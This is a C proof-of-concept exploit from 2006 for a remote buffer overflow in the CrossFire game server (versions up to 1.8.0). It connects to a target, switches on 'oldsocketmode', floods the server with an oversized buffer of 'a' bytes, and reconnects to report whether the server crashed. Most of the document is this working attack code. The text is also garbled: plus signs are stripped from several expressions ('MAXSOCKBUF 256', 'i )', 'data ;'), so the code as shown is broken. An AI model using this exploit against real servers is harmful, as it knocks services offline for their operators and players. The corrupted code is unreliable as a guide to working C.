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CrossFire <= 1.8.0 (oldsocketmode) Remote Buffer Overflow PoC


http://www.gipsky.com/
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 13327
#define MAXSOCKBUF 10240
#define BUFFSZ (MAXSOCKBUF 256)



int readline(int sd, u_char *data, int size);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

srand(time(NULL));
setbuf(stdout, NULL);

fputs("\n"
"CrossFire <= 1.8.0 oldsocketmode buffer-overflow "VER"\n"
"bug found by the developers and indipendently by me... but too late\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

printf("- connect...");
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf(" done\n");

printf("- receive server version:\n");
len = readline(sd, buff, sizeof(buff));
if(len < 0) std_err();
printf(" %s\n", !buff[0] ? buff 2 : buff);

printf("- activate oldsocketmode\n");
if(send(sd, "oldsocketmode", 13, 0)
< 0) std_err();

printf("- send %d bytes, the server supports max %d\n", sizeof(buff), MAXSOCKBUF);
memset(buff, 'a', sizeof(buff));
if(send(sd, buff, sizeof(buff), 0)
< 0) std_err();

len = readline(sd, buff, sizeof(buff));
sleep(ONESEC); // needed in my localhost server or it terminates!
close(sd);

printf("- check server:");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server does not seem vulnerable\n\n");
}

close(sd);
return(0);
}



int readline(int sd, u_char *data, int size) {
int i;

size--;
for(i = 0; i < size; i ) {
if(recv(sd, data, 1, 0) <= 0) return(-1);
if(*data == '\n') break;
data ;
}
*data = 0;
return(i);
}



u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

[2006-02-27]
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